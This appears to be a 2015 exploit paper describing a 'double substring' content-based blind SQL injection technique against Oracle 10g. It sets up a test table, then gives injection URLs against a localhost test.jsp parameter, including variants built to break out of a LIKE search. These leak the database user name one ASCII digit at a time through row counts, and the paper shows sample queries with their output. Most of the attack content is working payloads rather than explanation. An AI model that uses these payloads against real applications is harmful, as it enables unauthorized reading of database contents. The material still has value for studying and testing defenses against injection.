```
#########################################################################
# Title: Content-based Blind Injection Using By Double Substring
# Date: 2015.09.23
# Author: zamteng [jang6263@gmail.com]
# Vendor Homepage: hackerstory.org
# Tested on: Oracle 10g Express Edition Release 10.2.0.1.0
#########################################################################


#########################################################################
# [0] Basic Concepts
#########################################################################
Blind SQL injection is a type of SQL Injection attack that asks
the database true or false questions and determines the answer
based on the applications response (Content-based, Time-based)
In generally, Content-based Blind SQL injection should have the data
# Example Of Content-based Blind SQL injection
http://localhost/test.jsp?keyword=1 and 1=1 [TRUE - One or more output]
http://localhost/test.jsp?keyword=1 and 1=2 [FALSE - No output]

If the data is more than the nine, using the Double Substring can attack
# Example Of Content-based Blind Injection Using By Double Substring
http://localhost/test.jsp?keyword=1 and 1=1 [TRUE - Nine or more output]
http://localhost/test.jsp?keyword=1 and 1=2 [FALSE - No output]

# The Comparison of ascii code size(larger or smaller) need 7 requests
# The shift(bitand) operation need 7 requests (link - https://www.exploit-
db.com/papers/17073/)
# The Double Substring Attack need 2 or 3 requests (Most DBMS capable of
pagin query)

#########################################################################
# [1] Content-based Blind Injection Using By Double Substring
#########################################################################
http://localhost/test.jsp?keyword=1 and rownum <=
(substr(ascii(substr(user,1,1)),1,1))--
```

```
# The result count is eight

http://localhost/test.jsp?keyword=1 and rownum <=
(substr(ascii(substr(user,1,1)),2,1))--
# The result count is three

# CURRENT DATABASE USER NAME's first character is 'S'
# You can find out one character through  twice or three times Request

######################################################################
# [2] Sample Source
######################################################################
It was tested on Oracle XE 10.2.0.1.0

# create TABLE
SQL> create table t_user (id number(4), name varchar2(30));


# insert DATA
SQL> insert into t_user values(1,'janghw01');
SQL> insert into t_user values(2,'janghw02');
SQL> insert into t_user values(3,'janghw03');
SQL> insert into t_user values(4,'janghw04');
SQL> insert into t_user values(5,'janghw05');
SQL> insert into t_user values(6,'janghw06');
SQL> insert into t_user values(7,'janghw07');
SQL> insert into t_user values(8,'janghw08');
SQL> insert into t_user values(9,'janghw09');
SQL> commit;

# current database user name (by Oracle)
SQL> select user from dual;

USER
------------------------------------------------------------
SYSTEM
```

```
# current database user name's first ascii character
SQL> select ascii(substr(user,1,1)) from dual;

ASCII(SUBSTR(USER,1,1))
-----------------------
                     83

# first ascii character's total count
SQL> select * from t_user where 1=1 and rownum <=
(substr(ascii(substr(user,1,1)),1,1));

        ID NAME
---------- ----------------------------------------------------------------
         1 janghw01
         2 janghw02
         3 janghw03
         4 janghw04
         5 janghw05
         6 janghw06
         7 janghw07
         8 janghw08

8 rows selected.

# second ascii character's total count
SQL> select * from t_user where 1=1 and rownum <=
(substr(ascii(substr(user,1,1)),2,1));

        ID NAME
---------- ----------------------------------------------------------------
         1 janghw01
         2 janghw02
         3 janghw03
```

```
#########################################################################
# [3] Attack Examples
#########################################################################
# request in like search
http://localhost/test.jsp?keyword=%' and rownum <=
(substr(ascii(substr(user,1,1)),1,1)) and '%'='
http://localhost/test.jsp?keyword=%' and rownum <=
(substr(ascii(substr(user,1,1)),2,1)) and '%'='

# sample paging query (must be nine or more count output)
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
          FROM (SELECT   *
                   FROM t_user
                  WHERE name like '%[keyword]%'
                ORDER BY ID DESC) z
         WHERE ROWNUM <= 9)
 WHERE rnum >= 1

# sample paging query(result is 8 count) - The first ascii code of the
first character is 8
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
          FROM (SELECT   *
                   FROM t_user
                  WHERE name like '%%' and rownum <=
(substr(ascii(substr(user,1,1)),1,1)) and '%'='%'
                ORDER BY ID DESC) z
         WHERE ROWNUM <= 9)
 WHERE rnum >= 1

# sample paging query(result is 3 count) - The secode ascii code of the
first character is 3
SELECT *
  FROM (SELECT ROWNUM AS rnum, z.*
          FROM (SELECT   *
```

```
                    FROM t_user
                   WHERE name like '%%' and rownum <=
(substr(ascii(substr(user,1,1)),2,1)) and '%'='%'
                ORDER BY ID DESC) z
         WHERE ROWNUM <= 9)
 WHERE rnum >= 1
```